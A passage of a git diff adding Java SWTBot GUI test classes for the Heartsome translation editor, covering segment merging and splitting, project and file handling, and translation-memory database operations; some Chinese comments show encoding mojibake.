å°è¯•åˆ†å‰²å·²é”定的文本段 + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum å°è¯•åˆ†å‰²çš„文本段åºå· + */ + public static void splitUntranslatableSeg(XlfEditor xe, int segNum) { + // TODO æ ¹æ® R8 的实现,å¯è€ƒè™‘与上一个方法åˆå¹¶ï¼Œå¦åˆ™è¿˜éœ€è¦å•ç‹¬è€ƒè™‘“已批准且已é”定â€æ–‡æœ¬æ®µçš„情况 + } + + /** + * 未打开文件时,分割文本段功能被ç¦ç”¨ + */ + public static void splitWithoutFile() { + assertTrue(HSBot.bot().editors().isEmpty()); + assertTrue(!ts.menuTranslationSplitSegment().isEnabled()); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CreateProjectDemo.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CreateProjectDemo.java new file mode 100644 index 0000000..7dfa142 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CreateProjectDemo.java @@ -0,0 +1,51 @@ +package net.heartsome.cat.ts.test.demos; + +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.eclipse.swtbot.swt.finder.SWTBotAssert; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotShell; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class CreateProjectDemo { + + private SWTWorkbenchBot bot; + + @Before + public void setup() { +// SWTBotPreferences.PLAYBACK_DELAY = 500; + bot = new SWTWorkbenchBot(); + } + + @Test + public void createProject() throws Exception { + String projectName = "prjBot-001"; + + bot.menu("File").menu("New").click(); + SWTBotShell shell = bot.shell("New"); + shell.activate(); + // From menu open File > New dialog, verify whether the dialog has been opened. + + bot.tree().select("Project"); + SWTBotAssert.assertEnabled(bot.button("Next >")); + // After selecting Project, the Next button should be enabled. + + bot.button("Next >").click(); + bot.textWithLabel("Project name:").setText(projectName); + SWTBotAssert.assertEnabled(bot.button("Finish")); + // Enter the Project Name, then Finish button should be enabled. + + bot.button("Finish").click(); + SWTBotAssert.assertVisible(bot.tree().select(projectName)); + // Click Finish button and verify whether the project's been successfully created. + } + + @After + public void teardown() { + bot.sleep(1000); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CursorPosition.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CursorPosition.java new file mode 100644 index 0000000..c35f1b3 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/CursorPosition.java @@ -0,0 +1,69 @@ +package net.heartsome.cat.ts.test.demos; + +import net.heartsome.test.swtbot.finders.HsSWTWorkbenchBot; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; + +import org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class CursorPosition { + private HsSWTWorkbenchBot bot; + + @Before + public void setUp() { +// SWTBotPreferences.PLAYBACK_DELAY = 500; + SWTBotPreferences.KEYBOARD_LAYOUT = "EN_US"; + bot = new HsSWTWorkbenchBot(); + } +/* + @Ignore + @Test + public void SetCursorPositionInSourceCell() { + int rowPosition = 2; + int columnPosition = 1; + int inLine = 0; + int inColumn = 2; + String text = "segment"; + + NatTable nt = (NatTable) bot.widget(widgetOfType(NatTable.class)); + SWTBotNatTable sbnt = new SWTBotNatTable(nt); + sbnt.click(rowPosition, columnPosition); +// Screen s = new Screen(); +// try { +// s.type(null, "\n", 0); +// } catch (FindFailed e) { +// e.printStackTrace(); +// } + System.out.println("Before " + bot.styledText().cursorPosition()); + net.heartsome.test.swtbot.widgets.SWTBotStyledText srcText = bot.styledText(); + srcText.navigateTo(inLine, inColumn); + System.out.println("After " + bot.styledText().cursorPosition()); + int textIndex = srcText.indexOf(text); + System.out.println("Index: " + textIndex); + System.out.println("Position: " + srcText.getPositionByIndex(textIndex)); + + Pattern inlineElements = Pattern.compile("(\u00A0\\d+)?\u00A0(x|bx|ex|g|bpt|ept|mrk|sub|ph|it)\u00A0(\\d+\u00A0)?"); + Matcher m = inlineElements.matcher(bot.styledText().getText()); + int i = 0; + while (m.find()) { + int start = m.start(); + int end = m.end(); + System.out.println("Found " + ++i + ": " + start + " ~ " + end); + } + + }*/ + + @Test + public void GetViews() { + System.out.println("Views: " + bot.views()); + } + + @After + public void tearDown() { + bot.sleep(500); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/FileOperationTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/FileOperationTest.java new file mode 100644 index 0000000..f01604e --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/FileOperationTest.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.ts.test.demos; + +import net.heartsome.cat.ts.test.ui.dialogs.OpenFileDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class FileOperationTest { + SWTWorkbenchBot bot; + TS ts; + String prjName; + String prjFileName; + String extFilePath; + + @Before + public void setUp() { + bot = HSBot.bot(); + ts = TS.getInstance(); + prjName = "prjBot-001"; + prjFileName = "HSCAT8-23.xlf"; + extFilePath = "D:\\Temp\\Sample_1.xlf"; + bot.closeAllEditors(); + } + + @After + public void tearDown() { + bot.sleep(500); + } + + @Test + public void OpenExternalFile() { + ts.menuFileOpenFile().click(); + OpenFileDialog.openFile(extFilePath); + } + + @Test + public void OpenWorkspaceFile() { + ProjectTreeView.doubleClickXlfFile(prjName, prjFileName); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MenuTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MenuTest.java new file mode 100644 index 0000000..d729fcd --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MenuTest.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.test.demos; + +import static org.junit.Assert.assertTrue; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.junit.BeforeClass; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class MenuTest { + + private static SWTWorkbenchBot bot; + + @BeforeClass + public static void beforeClass() throws Exception { + bot = new SWTWorkbenchBot(); + } + + @Test + public void validateFileMenuStartsEnabled() { + assertTrue(bot.menu("File").isEnabled()); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MergeSegmentsTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MergeSegmentsTest.java new file mode 100644 index 0000000..26b16f7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/MergeSegmentsTest.java @@ -0,0 +1,158 @@ +package net.heartsome.cat.ts.test.demos; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.basecase.MergeSegments; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsColumn; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences; +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class MergeSegmentsTest { + + SWTWorkbenchBot bot; + TS ts; + String prjName; + String fileName; + XlfEditor xe; + int segNum; + char INVISIBLE_CHAR; + String reTag; + static HsSheet hss; + static HsColumn srcTextCol1; + static HsColumn srcTextCol2; + + static boolean RESTORE_TYPE_FILE = true; // 默认æ¯æ¬¡æµ‹è¯•å®ŒæˆåŽè¿˜åŽŸæµ‹è¯•æ–‡ä»¶ + static boolean SLOW_PLAYBACK = false; // 默认用正常速度回放 + + + /** + * 所有测试开始之å‰æ‰§è¡Œ + * @throws IOException + * @throws FileNotFoundException + */ + @BeforeClass + public static void oneTimeSetUp() throws FileNotFoundException, IOException { + String excelPath = "testData/SegmentMerge.xls"; + hss = new ExcelUtil(excelPath).new HsSheet(); + srcTextCol1 = hss.new HsColumn("SourceText1"); + srcTextCol2 = hss.new HsColumn("SourceText2"); + } + + + /** + * 所有测试完æˆä¹‹åŽæ‰§è¡Œ + */ + @AfterClass + public static void oneTimeTearDown() { + + } + + + /** + * æ¯ä¸ªæµ‹è¯•å¼€å§‹ä¹‹å‰æ‰§è¡Œ + */ + @Before + public void setUp() { + if (SLOW_PLAYBACK) { + SWTBotPreferences.PLAYBACK_DELAY = 500; + } + SWTBotPreferences.KEYBOARD_LAYOUT = "EN_US"; + INVISIBLE_CHAR = XlfEditor.INVISIBLE_CHAR; + reTag = "(" + INVISIBLE_CHAR + "\\d+)?" + INVISIBLE_CHAR + "(x|bx|ex|g|bpt|ept|mrk|sub|ph|it)" + INVISIBLE_CHAR + "(\\d+" + INVISIBLE_CHAR + ")?"; + bot = HSBot.bot(); + bot.closeAllEditors(); + ts = TS.getInstance(); + prjName = "swtBot-Project-001"; + fileName = "HSCAT8-3.xlf"; + ProjectTreeView.doubleClickXlfFile(prjName, fileName); + xe = new XlfEditor(bot.editorByTitle(fileName)); + } + + + /** + * æ¯æ¬¡æµ‹è¯•å®Œæˆä¹‹åŽæ‰§è¡Œ + */ + @After + public void tearDown() { + if (RESTORE_TYPE_FILE) { + String filePath = "testFiles/HSCAT8-3.xlf"; + String originalFilePath = "testFiles/HSCAT8-3a.xlf"; + File file = new File(filePath); + if (file.exists()) { + file.delete(); + } + File fileO = new File(originalFilePath); + try { + FileUtil.copyFile(fileO, file); + } catch (IOException e) { + e.printStackTrace(); + } + } +// bot.sleep(500); + } + + +// @Ignore + @Repeat(5) + @Test + public void MergeSegment1() { +// String seg1Text = "Test segment 1a."; +// String seg2Text = "Test segment 1b."; + String seg1Text = srcTextCol1.getNextText(); + String seg2Text = srcTextCol2.getNextText(); + int[] segNum = new int[2]; + segNum[0] = xe.segNumContainsSource(seg1Text); + segNum[1] = xe.segNumContainsSource(seg2Text); + MergeSegments.MergeWithNextSeg(xe, segNum); + } + + @Ignore + @Test + public void MergeSegment2() { + String seg1Text = "Test segment 2a."; + String seg2Text = "Test segment 2b."; + int[] segNum = new int[2]; + segNum[0] = xe.segNumContainsSource(seg1Text); + segNum[1] = xe.segNumContainsSource(seg2Text); + MergeSegments.MergeWithPrevSeg(xe, segNum); + } + + @Ignore + @Test + public void MergeSegment3() { +// String segText = "Test segment 19."; +// segNum = xe.segNumContainsSource(segText); + segNum = 1; + MergeSegments.MergeWithNoPrev(xe, segNum); + } + + @Ignore + @Test + public void MergeSegment4() { +// String segText = "Test segment 20, Test segment 23a, Test segment 24a."; +// segNum = xe.segNumContainsSource(segText); + segNum = xe.segCount(); + MergeSegments.MergeWithNoNext(xe, segNum); + } + +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/SplitSegmentTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/SplitSegmentTest.java new file mode 100644 index 0000000..8a68d83 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/SplitSegmentTest.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.ts.test.demos; + +import net.heartsome.cat.ts.test.basecase.SplitSegment; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences; +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class SplitSegmentTest { + + SWTWorkbenchBot bot; + TS ts; + String prjName; + String fileName; + XlfEditor xe; + int segNum; + char INVISIBLE_CHAR; + String reTag; + + + /** + * 所有测试开始之å‰æ‰§è¡Œ + */ + @BeforeClass + public static void oneTimeSetUp() { + + } + + + /** + * 所有测试完æˆä¹‹åŽæ‰§è¡Œ + */ + @AfterClass + public static void oneTimeTearDown() { + + } + + + /** + * æ¯ä¸ªæµ‹è¯•å¼€å§‹ä¹‹å‰æ‰§è¡Œ + */ + @Before + public void setUp() { +// SWTBotPreferences.PLAYBACK_DELAY = 500; + SWTBotPreferences.KEYBOARD_LAYOUT = "EN_US"; + INVISIBLE_CHAR = XlfEditor.INVISIBLE_CHAR; + reTag = "(" + INVISIBLE_CHAR + "\\d+)?" + INVISIBLE_CHAR + "(x|bx|ex|g|bpt|ept|mrk|sub|ph|it)" + INVISIBLE_CHAR + "(\\d+" + INVISIBLE_CHAR + ")?"; + bot = HSBot.bot(); + bot.closeAllEditors(); + ts = TS.getInstance(); + prjName = "prjBot-001"; + fileName = "HSCAT8-2T.xlf"; + ProjectTreeView.doubleClickXlfFile(prjName, fileName); + xe = new XlfEditor(bot.editorByTitle(fileName)); + } + + + /** + * æ¯æ¬¡æµ‹è¯•å®Œæˆä¹‹åŽæ‰§è¡Œ + */ + @After + public void tearDown() { + String filePath = FileUtil.joinPath(FileUtil.getWorkspacePath(), prjName, "XLIFF", "HSCAT8-2T.xlf"); + String originalFilePath = "testFiles/HSCAT8-2.xlf"; + FileUtil.replaceFile(filePath, originalFilePath); +// bot.sleep(500); + } + + + @Ignore + @Test + public void SplitSegment1() { + String segText = "Test segment 2a."; + String afterText = "Test segment 2"; + String beforeText = "a."; + segNum = xe.segNumContainsSource(segText); + SplitSegment.splitBetween(xe, segNum, afterText, beforeText); + } + + @Ignore + @Test + public void SplitSegment2() { + String segText = "Test segment 3a"; + segNum = xe.segNumContainsSource(segText); + SplitSegment.splitAtBeginning(xe, segNum); + } + + @Ignore + @Test + public void SplitSegment3() { + String segText = "Test segment 3a"; + segNum = xe.segNumContainsSource(segText); + SplitSegment.splitAtEnd(xe, segNum); + } + + @Ignore + @Test + public void SplitSegment4() { + String segText = "Test segment 23"; + segNum = xe.segNumContainsSource(segText); + SplitSegment.splitApprovedSeg(xe, segNum); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/TestDemos.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/TestDemos.java new file mode 100644 index 0000000..b51a3a0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/demos/TestDemos.java @@ -0,0 +1,140 @@ +package net.heartsome.cat.ts.test.demos; + +import static org.junit.Assert.assertTrue; + +import java.util.List; + +import net.heartsome.cat.ts.test.ui.dialogs.OpenFileDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeItem; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.eclipse.swtbot.swt.finder.utils.SWTBotPreferences; +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class TestDemos { + private static SWTWorkbenchBot bot; + private static String prjName; + + @BeforeClass + public static void startTest() { + if (DEBUG_MODE == 2) { + SWTBotPreferences.PLAYBACK_DELAY = 500; + } + SWTBotPreferences.KEYBOARD_LAYOUT = "EN_US"; + bot = HSBot.bot(); + } + + @Before + public void setUp() { + bot.closeAllEditors(); + prjName = "prjBot-001"; + } + + @After + public void tearDown() { +// bot.sleep(50000); + } + + // 0 表示关闭 Debug 功能,å³æ¯æ¬¡æµ‹è¯•å®ŒæˆåŽè¿˜åŽŸæµ‹è¯•æ–‡ä»¶ï¼Œä¸”用默认速度回放; + // 1 表示æ¯æ¬¡æµ‹è¯•å®ŒæˆåŽä¸è¿˜åŽŸæµ‹è¯•æ–‡ä»¶ï¼Œä¸”用默认速度回放; + // 2 表示æ¯æ¬¡æµ‹è¯•å®ŒæˆåŽä¸è¿˜åŽŸæµ‹è¯•æ–‡ä»¶ï¼Œä¸”用慢速回放。 + private static int DEBUG_MODE = 1; + + @AfterClass + public static void exitTest() { + if (DEBUG_MODE == 0) { + String filePath = FileUtil.joinPath(FileUtil.getExecutionPath() + prjName + "XLIFF" + "HSCAT8-83T.xlf"); + String originalFilePath = FileUtil.joinPath(FileUtil.getExecutionPath() + prjName + "XLIFF" + "HSCAT8-83a.xlf"); + FileUtil.replaceFile(filePath, originalFilePath); + } + } + + @Ignore + @Test + public void TestProject() { +// String fileName = "temp.xlf"; + String srcLang = "en-US"; + String tgtLang = "zh-CN"; +// String icon = "E:\\temp\\imgs\\LineNumber.png"; +// String menuText = "设置文本段批准状æ€"; + ProjectTreeItem pTN = ProjectTreeItem.getInstance(prjName); + pTN.ctxMenuOpenProjectFiles(); + +// String filePath = "D:\\Temp\\ts.win32.win32.x86\\workspace\\prjBot-001\\XLIFF\\temp.xlf"; +// String fileName = new Path(filePath).lastSegment(); + TS ts = TS.getInstance(); +// ts.menuFileOpenFile().click(); +// OpenFileDialog.openFile(filePath); + XlfEditor xe = ts.getXlfEditor(prjName); + xe.selectLangPair(srcLang, tgtLang); + xe.changeEditorLayout(); + xe.selectSourceCell(4); + System.out.println(xe.rowIdOfSelectedSeg()); +// String filePath = "D:\\Temp\\TestExcel.xls"; +// String column = "password"; +// ExcelUtil exl = new ExcelUtil(filePath); +// System.err.println(exl.getNextText(column)); + +// XLIFFUtil xu = new XLIFFUtil(filePath); +// System.err.println(xu.getSouceLang()); +// System.err.println(xu.getTargetLang()); + + } + + @Ignore + @Test + public void TestFile() { + String fileName = "HSCAT8-83.xlf"; + ProjectTreeItem pTN = ProjectTreeItem.getInstance(prjName); + pTN.ctxMenuOpenFile(fileName); + TS ts = TS.getInstance(); + XlfEditor xe = ts.getXlfEditor(fileName); + + int segNum = 2; + xe.gotoSeg(segNum); + String rowID = xe.rowIdOfSegNum(segNum); + + XliffUtil xu = new XliffUtil(rowID); + assertTrue(!xu.tuIsApproved()); + xe.clickContextMenu(xe.ctxMenuApproveStatus(), + xe.ctxMenuapproveStatusApproveCurrentSeg()); + xu = new XliffUtil(rowID); + assertTrue(xu.tuIsApproved()); + } + + @Ignore + @Test + public void TestFile2() { +// String filePath = "E:\\My Documents\\junit-workspace\\prjBot-001\\XLIFF\\HSCAT8-3.xlf"; +// String filePath = "/home/felix/junit-workspace/prjBot-001/XLIFF/HSCAT8-3.xlf"; + String filePath = "/Users/felix_lu/bin/ts.cocoa.macosx.x86_64/Eclipse.app/Contents/MacOS/workspace/testProject/XLIFF/HSCAT8-83.xlf"; + TS ts = TS.getInstance(); + ts.menuFileOpenFile().click(); + OpenFileDialog.openFile(filePath, true, true); + List langPairs = XliffUtil.getAllLangPairs(filePath); + for (String[] langPair : langPairs) { + System.err.println(langPair[0] + " -> " + langPair[1] + ": " + + XliffUtil.tuCountOfLangPair(filePath, langPair[0], langPair[1], false)); + } + } + + @Ignore + @Test + public void Test1() { + System.out.println(FileUtil.getExecutionPath()); + System.out.println(FileUtil.getWorkspacePath()); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/DatabaseTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/DatabaseTest.java new file mode 100644 index 0000000..78ea1e3 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/DatabaseTest.java @@ -0,0 +1,92 @@ +package net.heartsome.cat.ts.test.menu.db; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.basecase.menu.db.DBManagement; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class DatabaseTest { + private static HsSheet shConnectServerData; + private static HsSheet shCreateDBData; + private static HsSheet shDeleteDBData; + private int connectServerNum = 1; + private int createDBNum = 1; + private int deleteDBNum = 1; + private int deleteConnectionNum = 1; + + @BeforeClass + public static void start() throws FileNotFoundException, IOException { + String filePrjData = FileUtil.getExecutionPath() + "/testData/DatabaseTest.xls"; + shConnectServerData = new ExcelUtil(filePrjData).new HsSheet("Connect"); + shCreateDBData = new ExcelUtil(filePrjData).new HsSheet("Create"); + shDeleteDBData = new ExcelUtil(filePrjData).new HsSheet("Delete"); + } + + @AfterClass + public static void end() { + } + + @Before + public void setUp() { + } + + @After + public void tearDown() { + OsUtil.typeEsc(); + OsUtil.typeEsc(); + HSBot.bot().sleep(500); + } + + @Repeat(23) + @Test + public void tc1ConnectServer() { + HsRow row = shConnectServerData.new HsRow(connectServerNum); + DBManagement db = new DBManagement(row); + db.connectServer(TsUIConstants.Entry.SHORTCUT); + connectServerNum++; + } + + @Repeat(25) + @Test + public void tc2CreateDB() { + HsRow row = shCreateDBData.new HsRow(createDBNum); + DBManagement db = new DBManagement(row); + db.createDB(TsUIConstants.Entry.MENU); + createDBNum++; + } + + @Repeat(15) + @Test + public void tc3DeleteDB() { + HsRow row = shDeleteDBData.new HsRow(deleteDBNum); + DBManagement db = new DBManagement(row); + db.deleteDB(TsUIConstants.Entry.MENU); + deleteDBNum++; + } + + @Repeat(5) + @Test + public void tc4DeleteConnection() { + HsRow row = shConnectServerData.new HsRow(deleteConnectionNum); + DBManagement db = new DBManagement(row); + db.deleteConnection(TsUIConstants.Entry.SHORTCUT); + deleteConnectionNum++; + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/ImportToDBTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/ImportToDBTest.java new file mode 100644 index 0000000..962f35a --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/ImportToDBTest.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.test.menu.db; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.basecase.menu.db.DBManagement; +import net.heartsome.cat.ts.test.basecase.menu.db.ImportToDB; +import net.heartsome.cat.ts.test.basecase.menu.db.MemoryDBManagement; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.mockdialogs.factory.NativeDialogFactory; +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class ImportToDBTest { + private static HsSheet shImportTMXData; + private static HsSheet shImportTBXData; + private int importTMXNum = 1; + private int importTBXNum = 1; + + @BeforeClass + public static void start() throws FileNotFoundException, IOException { + + NativeDialogFactory.setMode(NativeDialogFactory.OperationMode.TESTING); + + String filePrjData = FileUtil.getExecutionPath() + "/testData/ImportToDBTestSZ.xls"; + shImportTMXData = new ExcelUtil(filePrjData).new HsSheet("ImportTMX"); + shImportTBXData = new ExcelUtil(filePrjData).new HsSheet("ImportTBX"); + // 创建导入所需的数æ®åº“ +// HsRow dbRow = shImportTMXData.new HsRow(1); +// MemoryDBManagement db = new MemoryDBManagement(dbRow); +// db.createDB(TsUIConstants.Entry.MENU); + } + + @AfterClass + public static void end() { + // 删除用完的数æ®åº“ + HsRow dbRow = shImportTMXData.new HsRow(1); + MemoryDBManagement db = new MemoryDBManagement(dbRow); + db.deleteDB(TsUIConstants.Entry.MENU, true); + } + + @Before + public void setUp() { + // TsTasks.closeDialogs(); + // TsTasks.closeDialogs(); + } + + @After + public void tearDown() { + // OsUtil.typeEsc(); + // OsUtil.typeEsc(); + // HSBot.bot().sleep(500); + } + +// @Repeat(10) +// @Test +// public void tc1ImportTMX() { +// HsRow row = shImportTMXData.new HsRow(importTMXNum); +// ImportToDB tmx = new ImportToDB(TsUIConstants.ImportType.TMX, row); +// tmx.importTMX(TsUIConstants.Entry.MENU); +// importTMXNum++; +// } + + @Repeat(10) + @Test + public void tc2ImportTBX() { + HsRow row = shImportTBXData.new HsRow(importTBXNum); + ImportToDB tbx = new ImportToDB(TsUIConstants.ImportType.TBX, row); + tbx.importTBX(TsUIConstants.Entry.MENU); + importTBXNum++; + } + +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/MemoryDatabaseTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/MemoryDatabaseTest.java new file mode 100644 index 0000000..61f4676 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/db/MemoryDatabaseTest.java @@ -0,0 +1,172 @@ +package net.heartsome.cat.ts.test.menu.db; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.basecase.menu.db.MemoryDBManagement; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Ignore; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class MemoryDatabaseTest { + private static HsSheet shConnectServerData; + private static HsSheet shCreateDBData; + private static HsSheet shDeleteDBData; + private int connectServerNum = 1; + private int createDBNum = 1; + private int deleteDBNum = 1; + private int deleteConnectionNum = 1; + private int saveServerNum = 1; + + + @BeforeClass + public static void start() throws FileNotFoundException, IOException { + String filePrjData = FileUtil.getExecutionPath() + "/testData/DatabaseTest.xls"; + shConnectServerData = new ExcelUtil(filePrjData).new HsSheet("Connect"); + shCreateDBData = new ExcelUtil(filePrjData).new HsSheet("Create"); + shDeleteDBData = new ExcelUtil(filePrjData).new HsSheet("Delete"); + } + + @AfterClass + public static void end() { + } + + @Before + public void setUp() { + } + + @After + public void tearDown() { + OsUtil.typeEsc(); + OsUtil.typeEsc(); + HSBot.bot().sleep(500); + } + +// @Repeat(23) +// @Ignore +// @Test +// public void tc1ConnectServer() { +// HsRow row = shConnectServerData.new HsRow(connectServerNum); +// MemoryDBManagement db = new MemoryDBManagement(row); +// db.connectServer(TsUIConstants.Entry.MENU); +// connectServerNum++; +// } +// +// @Repeat(5) +// @Test +// public void tc12CreateServer() { +// HsRow row = shConnectServerData.new HsRow(saveServerNum); +// MemoryDBManagement db = new MemoryDBManagement(row); +// db.saveServer(TsUIConstants.Entry.MENU); +// System.out.println(saveServerNum); +// saveServerNum ++; +// } +// +// +// +// @Repeat(5) +// @Test +// public void tc2CreateDB() { +// HsRow row = shCreateDBData.new HsRow(createDBNum); +// MemoryDBManagement db = new MemoryDBManagement(row); +// db.createDB(TsUIConstants.Entry.MENU); +// createDBNum++; +// } 